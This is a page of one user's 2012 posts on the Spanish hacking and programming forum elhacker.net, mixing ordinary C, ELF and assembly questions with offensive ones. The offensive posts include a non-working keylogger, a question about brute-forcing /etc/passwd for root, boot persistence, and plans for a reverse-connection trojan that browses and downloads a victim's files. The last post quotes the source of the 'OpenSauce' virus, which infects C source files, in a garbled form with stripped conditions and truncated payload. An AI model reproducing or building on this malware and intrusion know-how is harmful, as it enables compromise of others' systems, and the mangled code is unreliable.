elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: 1 2 3 4 [5] 6 7 8
41  Programación / Programación C/C++ / Ayuda con un stream de fichero en linux. en: 23 Agosto 2012, 23:23 pm
Hola!

Estaba trasteando por mi sistema, un Ubuntu, cuando me encontre el siguiente encabezado: poll.h. Me dio curiosidad, y decidi buscar documentacion acerca de esta libreria(si, estaba aburrido :xD). Encontre y lei esto: http://pubs.opengroup.org/onlinepubs/7908799/xsh/poll.h.html. Entonces he pensado que podia hacer un keylogger simple, y he armado este codigo:
Código
  1. #include <unistd.h>
  2. #include <sys/poll.h>
  3. #include <stdio.h>
  4.  
  5. int main(int argc, char* argv[])
  6. {
  7.  FILE* log = fopen("log.txt", "a");
  8.  struct pollfd input[1];
  9.  input[0].fd = 1;
  10.  input[0].events = POLLIN;
  11.  int event;
  12.  char chevent;
  13.  while(1)
  14.  {
  15.   event = poll(input, 1, 1);
  16.   if(event>=0){
  17.   chevent = event;
  18.   fprintf(log, "%c", chevent);
  19.   fflush(log);}
  20.  }
  21.  return 0;
  22.  
  23. }
El problema es que escribo cuatro o cinco letras, cierro la terminal y el fichero "log.txt" ocupa entre 10 y 15 KBs, y al abrirlo se me queda pillado el editor de texto.
Cuando simplemente imprimo las letras por pantalla funciona perfectamente.

Saludos.
42  Seguridad Informática / Hacking / /etc/passwd en: 22 Agosto 2012, 01:09 am
La pregunta es: ¿con que algoritmo estan cifradas las pass en este fichero?¿Como se pueden descifrar? Segun tengo entendido se usan numeros aleatorios en el cifrado, ¿seria viable usar fuerza bruta para obtener acceso como root al sistema?

Saludos.

43  Programación / ASM / Paso de parametros. en: 20 Agosto 2012, 20:13 pm
Hola, veran, me estoy iniciando en ASM en linux, y al ir a mirar la lista de syscalls(http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html) me doy cuenta de que a algunas has de pasarle parametros que son estructuras de C. Mi pregunta es: en ASM, ¿como se pasan parametros que sean estructuras?

Saludos.
44  Programación / Programación C/C++ / Iniciar una aplicacion con linux. en: 11 Agosto 2012, 14:59 pm
Bueno pues me pregunto si existe algo parecido al registro de windows en linux, y como se registrarian aplicaciones en el, para que se inicien al iniciar el ordenador. En mi ubuntu hay una opcion para configurar las aplicaciones que se van a iniciar cuando se inicie el SO, de lo que deduzco que debe haber alguna forma de hacerlo en C/C++, pero no he encontrado nada googleando.

Saludos.
45  Programación / Programación C/C++ / Problema con dlfcn.h. en: 7 Agosto 2012, 20:37 pm
Bueno estoy intentando usar funciones de librerias dinamicas sin hacer un include, y he encontrado un ejemplo en el que se consigue esto en una pagina de documentacion de dlfcn.h(pubs.opengroup.org/onlinepubs/7908799/xsh/dlsym.html). El problema es que he intentado hacer algo similar con una funcion que recibe dos enteros y retorna su suma y no me termina de salir.
Aqui esta el codigo:
Código
  1. #include <iostream>
  2. #include <dlfcn.h>
  3.  
  4. using std::cout;
  5.  
  6. int main()
  7. {
  8.    int a=2, b=3;
  9.    int fptr(int, int);
  10.    void* handle = dlopen("libprueba.so", RTLD_LAZY);
  11.    fptr = (int(int, int))dlsym(handle, "SampleAddInt");
  12.    int c = fptr(a, b);
  13.    cout << c;
  14.    dlclose(handle);
  15.    return 0;
  16. }
  17.  
Este es el contenido de libprueba.so:
Código
  1. int SampleAddInt(int i1, int i2)
  2.    {
  3.        return i1 + i2;
  4.    }
Y el error que me da el compilador es cuando le intento asignar a fptr el resultado de dlsym, me dice conversion invalida al tipo de funcion 'int(int, int)'.
¿Como lo puedo solucionar? Debe de haber alguna manera de realizar la conversion.

Saludos.
46  Programación / Programación C/C++ / Ayuda con este codigo. en: 6 Agosto 2012, 14:54 pm
Bueno estoy leyendo un codigo que un usuario posteo hace poco y que decia que era un jailbreak de la ps3 o algo asi. Bueno el caso es que hay algunas partes del codigo que no llego a entender. Las dejo aqui por si alguien me puede ayudar.

Antes de poner codigo, aclaro que u8 es un typedef de char, u16 de unsigned short, u32 de unsigned int y u64 de unsigned long long.

La primera:
Aqui aparece la estuctura elf_hdr, no la pongo para no ocupar mas espacio.
Código
  1. int elf_read_hdr(u8 *hdr, struct elf_hdr *h)
  2. {
  3. int arch64;
  4. memcpy(h->e_ident, hdr, 16);
  5. hdr += 16;
  6.  
  7. arch64 = h->e_ident[4] == 2;
  8.  
  9. h->e_type = be16(hdr);
  10. hdr += 2;
  11. h->e_machine = be16(hdr);
  12. hdr += 2;
  13. h->e_version = be32(hdr);
  14. hdr += 4;
  15.  
  16. if (arch64) {
  17. h->e_entry = be64(hdr);
  18. h->e_phoff = be64(hdr + 8);
  19. h->e_shoff = be64(hdr + 16);
  20. hdr += 24;
  21. } else {
  22. h->e_entry = be32(hdr);
  23. h->e_phoff = be32(hdr + 4);
  24. h->e_shoff = be32(hdr + 8);
  25. hdr += 12;
  26. }
  27.  
  28. h->e_flags = be32(hdr);
  29. hdr += 4;
  30.  
  31. h->e_ehsize = be16(hdr);
  32. hdr += 2;
  33. h->e_phentsize = be16(hdr);
  34. hdr += 2;
  35. h->e_phnum = be16(hdr);
  36. hdr += 2;
  37. h->e_shentsize = be16(hdr);
  38. hdr += 2;
  39. h->e_shnum = be16(hdr);
  40. hdr += 2;
  41. h->e_shtrndx = be16(hdr);
  42.  
  43. return arch64;
  44. }

Las funciones be16, be32 y be64 estan aqui:
Código
  1. static inline u16 be16(u8 *p)
  2. {
  3. u16 a;
  4.  
  5. a  = p[0] << 8;
  6. a |= p[1];
  7.  
  8. return a;
  9. }
  10.  
  11. static inline u32 be32(u8 *p)
  12. {
  13. u32 a;
  14.  
  15. a  = p[0] << 24;
  16. a |= p[1] << 16;
  17. a |= p[2] <<  8;
  18. a |= p[3] <<  0;
  19.  
  20. return a;
  21. }
  22.  
  23. static inline u64 be64(u8 *p)
  24. {
  25. u32 a, b;
  26.  
  27. a = be32(p);
  28. b = be32(p + 4);
  29.  
  30. return ((u64)a<<32) | b;
  31. }

En realidad lo que menos entiendo son las funciones be16, be32 y be64. Y por si alguien va a decirme que no espere que me hagan la tarea, tambien aclaro que esto solo es una parte de un codigo mucho mas grande(foro.elhacker.net/dudas_generales/iquestalguien_me_podria_hacer_el_gran_favor_de_pasar_esto_a_exe-
t368531.0.html).

Saludos.
47  Programación / Programación C/C++ / Trasteando con el formato ELF. en: 25 Julio 2012, 18:54 pm
 Bueno estoy intentando leer el Elf header de un archivo ELF, para obtener una estructura Elf32_Ehdr, y obtener todos los datos de una .so(libreria dinamica) que vienen definidos en esta estructura, para luego poder poder ejecutarla. ¿Esto se podria hacer abriendola en modo binario con fopen()?. Espero que alguien me pueda orientar un poco con este tema.

Saludos.

PD: Esta estructura y otras relacionadas con el formato ELF vienen definidas en elf.h

EDIT: He encontrado esto, en el xploit de abo2.c se obtienen las secciones(y el elf header) usando fread, pero no se muy bien porque lo hace asi:(
www.govannom.org/e-zines/netsearch/ns008/ns8-0x04.txt
48  Programación / Programación C/C++ / Compilar con happycoders o boost. en: 14 Julio 2012, 03:07 am
Bueno mi problema es que estaba buscando la forma de implementar una conexion con una libreria de sockets multiplataforma, y descargue tanto las librerias de happycoders como las de boost. Al intentar compilar no hace falta que enlace con ninguna de las dos, el g++ las encuentra, pero me lanza varios errores en las librerias, incluso si copio y pego los ejemplos de las webs. ¿Alguien sabe porque pasa esto?¿Puede ser que me falten dependencias en ubuntu?

Saludos.
49  Programación / Programación C/C++ / [Duda]Configurar un servidor de conexion inversa. en: 11 Julio 2012, 19:43 pm
Bueno pues resulta que estoy haciendo un mini-troyano por asi decirlo, sin interfaz grafica, con el objetivo de que sea ligero, rapido y usable, y estoy usando para las conexiones la libreria sys/socket.h. La idea es que te permita explorar los directorios y archivos, abrirlos, modificarlos y descargarlos. Y el problema que como es de conexion inversa no se como hacer para configurar el servidor para que se conecte al ordenador en el que se haya ejecutado la primera vez, o en el que se haya configurado, sin utilizar un archivo de texto externo, o hacer la brutalidad de almacenar el codigo fuente del server en un array, obtener la IP del equipo local y compilarlo configurado.
¿Alguien sabe como se suelen hacer estas cosas?

Saludos y gracias de antemano.
50  Programación / Programación C/C++ / [Duda existencial]¿Que pasa en este codigo? en: 10 Julio 2012, 02:17 am
Bueno estaba desvelado leyendo un articulo cuando me encontre esto en mitad de un codigo. ¿Alguien me exolica que es?
Código
  1. <--------------------->
  2. <----opensauce.c------>
  3. <--------------------->
  4.  
  5. /*
  6.  * OpenSauce
  7.  *
  8.  * A trial to infect source code
  9.  *                   zert <zert@int80h.net>
  10.  *
  11.  */
  12.  
  13. #include <stdio.h>
  14. #include <stdlib.h>
  15. #include <sys/stat.h>
  16. #include <unistd.h>
  17. #include <fcntl.h>
  18. #include <time.h>
  19. #include <dirent.h>
  20. #include <elf.h>
  21. #include <sys/types.h>
  22. #include <sys/wait.h>
  23.  
  24. void virus();
  25.  
  26. int main(int argc, char *argv[]) {
  27.  virus();
  28. }
  29.  
  30. void virus() {
  31.  int i, hd, fd, readbyte, writebyte, posmain, posbuffer;
  32.  DIR *dd;
  33.  struct dirent *dirp;
  34.  char nibble[2], nibblechar, *readbuffer, *writebuffer,
  35.       *readmain, *writemain, *bufname, *buffer;
  36.  char charinclude[] = "23696e636c756465203c737464696f2e683e0a23696e636c756465203c7374646c69622e683e0a23696e636c756465203c7379732f737461742e683e0a23696e636c756465203c756e697374642e683e0a23696e636c756465203c66636e746c2e683e0a23696e636c756465203c74696d652e683e0a23696e636c756465203c646972656e742e683e0a23696e636c756465203c656c662e683e0a23696e636c756465203c7379732f74797065732e683e0a23696e636c756465203c7379732f776169742e683e0a0a766f696420766972757328293b0a0a";
  37.  char charvirus[] = "0a766f69642076697275732829207b0a2020696e7420692c2068642c2066642c2072656164627974652c207772697465627974652c20706f736d61696e2c20706f736275666665723b0a2020444952202a64643b0a202073747275637420646972656e74202a646972703b0a202063686172206e6962626c655b325d2c206e6962626c65636861722c202a726561646275666665722c202a77726974656275666665722c200a202020202020202a726561646d61696e2c202a77726974656d61696e2c202a6275666e616d652c202a6275666665723b0a";
  38.  char charvirusend[] = "0a20206464203d206f70656e64697228222e22293b0a20207768696c65282864697270203d207265616464697228646429293e3029200a202020206966282868643d6f70656e28646972702d3e645f6e616d652c204f5f524457522c203029293e3d3029207b0a ... ";
  39.  
  40.  /* scan for hosts in current dir */
  41.  dd = opendir(".");
  42.  while>0)//Aqui
  43.      if>=0) {//Y Aqui
  44.        /* is a C source file? */
  45.        if(!(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".c"))||
  46.           !(strcmp(dirp->d_name+strlen(dirp->d_name)-2,".C"))) {
  47.          /* searching infection mark... */
  48.          lseek(fd, -30, SEEK_END);
  49.          bufname = (char *)malloc(30);
  50.          readbyte = read(fd, bufname,30);
  51.          if {
  52.            /* infection mark not found */
  53.            /* searching main() function... */
  54.            lseek(fd, 0, SEEK_SET);
  55.            posmain = posbuffer = 0;
  56.            buffer = (char *)malloc(1024);
  57.            while>0) {
  58.              if( >0) ||
  59.                >0) ||
  60.                >0) ||
  61.                >0) ||
  62.                >0) ||
  63.                >0) ) {
  64.                break;
  65.              }
  66.              posmain += readbyte;
  67.            }
  68.            if(posbuffer>0) {
  69.              posmain += ((int)posbuffer-(int)buffer);
  70.              lseek(fd, posmain, SEEK_SET);
  71.              read(fd, buffer, 80);
  72.              if>0)
  73.                posmain += 2 + ((int)posbuffer-(int)buffer);
  74.              else
  75.                posmain = -1;
  76.            } else posmain = -1;
  77.            if(posmain>0) {
  78.              /* let's infect! */
  79.              lseek(fd, 0, SEEK_SET);
  80.              writebyte = strlen(charinclude) / 2;
  81.              readbuffer = (char *)malloc(writebyte);
  82.              writebuffer = (char *)malloc(writebyte);
  83.              writebuffer = (char *)malloc(writebyte);
  84.              for(i=0;i<strlen(charinclude);i+=2) {
  85.                nibble[0] = charinclude[i];
  86.                nibble[1] = charinclude[i+1];
  87.                sscanf(nibble, "%02X", &nibblechar);
  88.                strncat(writebuffer, &nibblechar, 1);
  89.              }
  90.              while>0) {
  91.                lseek(fd, -readbyte, SEEK_CUR);
  92.                write(fd, writebuffer, writebyte);
  93.                writebyte = read(fd, writebuffer, writebyte);
  94.                lseek(fd, -writebyte, SEEK_CUR);
  95.                write(fd, readbuffer, readbyte);
  96.              }
  97.              lseek(fd,-readbyte,SEEK_CUR);
  98.              write(fd,writebuffer,writebyte);
  99.              /* call virus from main() */
  100.              writebyte = strlen(charinclude) / 2;
  101.              lseek(fd, posmain+writebyte, SEEK_SET);
  102.              writebyte = strlen("\n  virus();\n");
  103.              readmain = (char *)malloc(writebyte);
  104.              writemain = (char *)malloc(writebyte);
  105.              strcpy(writemain,"\n  virus();\n");
  106.              while>0) {
  107.                lseek(fd,-readbyte,SEEK_CUR);
  108.                write(fd,writemain,writebyte);
  109.                writebyte=read(fd,writemain,writebyte);
  110.                lseek(fd,-writebyte,SEEK_CUR);
  111.                write(fd,readmain,readbyte);
  112.              }
  113.              lseek(fd,-readbyte,SEEK_CUR);
  114.              write(fd,writemain,writebyte);
  115.              /* copy virus function at EOF */
  116.              lseek(fd, 0, SEEK_END);
  117.              for(i=0;i<strlen(charvirus);i+=2) {
  118.                nibble[0] = charvirus[i];
  119.                nibble[1] = charvirus[i+1];
  120.                sscanf(nibble,"%02X",&nibblechar);
  121.                write(fd, &nibblechar, 1);
  122.              }
  123.              write(fd, "\n  char charinclude[] = \"", strlen("\n  char charinclude[] = \""));
  124.              write(fd, charinclude, strlen(charinclude));
  125.              write(fd, "\";\n  char charvirus[] = \"", strlen("\";\n  char charvirus[] = \""));
  126.              write(fd, charvirus, strlen(charvirus));
  127.              write(fd, "\";\n  char charvirusend[] = \"", strlen("\";\n  char charvirusend[] = \""));
  128.              write(fd, charvirusend, strlen(charvirusend));
  129.              write(fd, "\";\n", strlen("\";\n"));
  130.              lseek(fd, 0, SEEK_END);
  131.              for(i=0;i<strlen(charvirusend);i+=2) {
  132.                nibble[0] = charvirusend[i];
  133.                nibble[1] = charvirusend[i+1];
  134.                sscanf(nibble,"%02X",&nibblechar);
  135.                write(fd, &nibblechar, 1);
  136.              }
  137.              /* that's all folks! */
  138.              /* just 1 infection each time */
  139.              exit(0);
  140.              close(fd);
  141.            }
  142.          }
  143.      }
  144.      close(fd);
  145.    }
  146.  closedir(dd);
  147.  /* sauce! */
  148. }
  149. <---------------------->
  150. <--end of-opensauce.c-->
  151. <---------------------->
  152.  

Donde pone aqui y aqui se usan dos condiciones muy raras.

Saludos.

PD: Lo saque de http://blog.txipinet.com/2007/01/11/61-metaprogramacion-iv-programacion-de-virus-para-codigo-fuente-c/
Páginas: 1 2 3 4 [5] 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines